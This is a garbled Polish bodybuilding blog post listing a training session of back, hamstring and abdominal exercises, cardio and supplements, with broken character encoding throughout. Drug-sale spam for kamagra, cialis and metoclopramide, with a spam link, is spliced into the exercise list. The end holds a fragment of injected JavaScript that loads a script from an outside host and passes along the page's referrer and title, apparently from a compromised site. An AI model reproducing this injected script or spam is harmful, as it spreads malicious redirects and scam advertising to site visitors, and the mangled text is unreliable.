06.02.2012

6.02.2012 / Tomasz Lech / Kulturystyka

Dzisiejszy trening jaki wykonaAi??em wyglAi??daAi?? nastAi??pujAi??co:

plecyAi??
-podciAi??ganie hantli leA?Ai??c na brzuchu na skoAi??nej Ai??awce 4×10
-podciAi??ganie pA?Ai??sztangi w opadzie tuAi??owia 4×10
-przyciAi??ganie wAi??skiego uchwytu do brzucha na wyciAi??gu poziomym 4×10
-Ai??ciAi??ganie drAi??A?ka gA?rnego wyciAi??gu do klatki podchwytem 4×10

is kamagra legal in usa. buy Kamagra online. where to buy kamagra safely. Order dwugAi??owy udaAi??
-martwy ciAi??g na prostych nogach 4×10
-zginanie podudzi leA?Ai??c na maszynie 4×10

Order Buy cheap metoclopramide mechanism http://micatrungbay.com/2018/03/19/cheap-albendazole/ Buy brzuchAi??
-spiAi??cia brzucha leA?Ai??c 3×25
-unoszenie nA?g wiszAi??c na drAi??A?ku 3×20

Aeroby krAi??cAi?? 3x w tygodniu po 30 min. po treningu siAi??owym.
Moja obecna suplementacja:
-isolite 100
-glutamina extreme w proszku
-BCAA powder
-vitargo
-multi pack
-S.A.W. :)
-omega 3

Ostatnio piAi??tek,sobota i niedziela leA?aAi??em mocno przeziAi??biony w Ai??A?A?ku,ale juA? wszystko wrA?ciAi??o do normy.TakA?e zaczynamy ostro przygotowania do sezonu jesieAi?? 2012r.} else { Order s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; } else { low cost brand cialis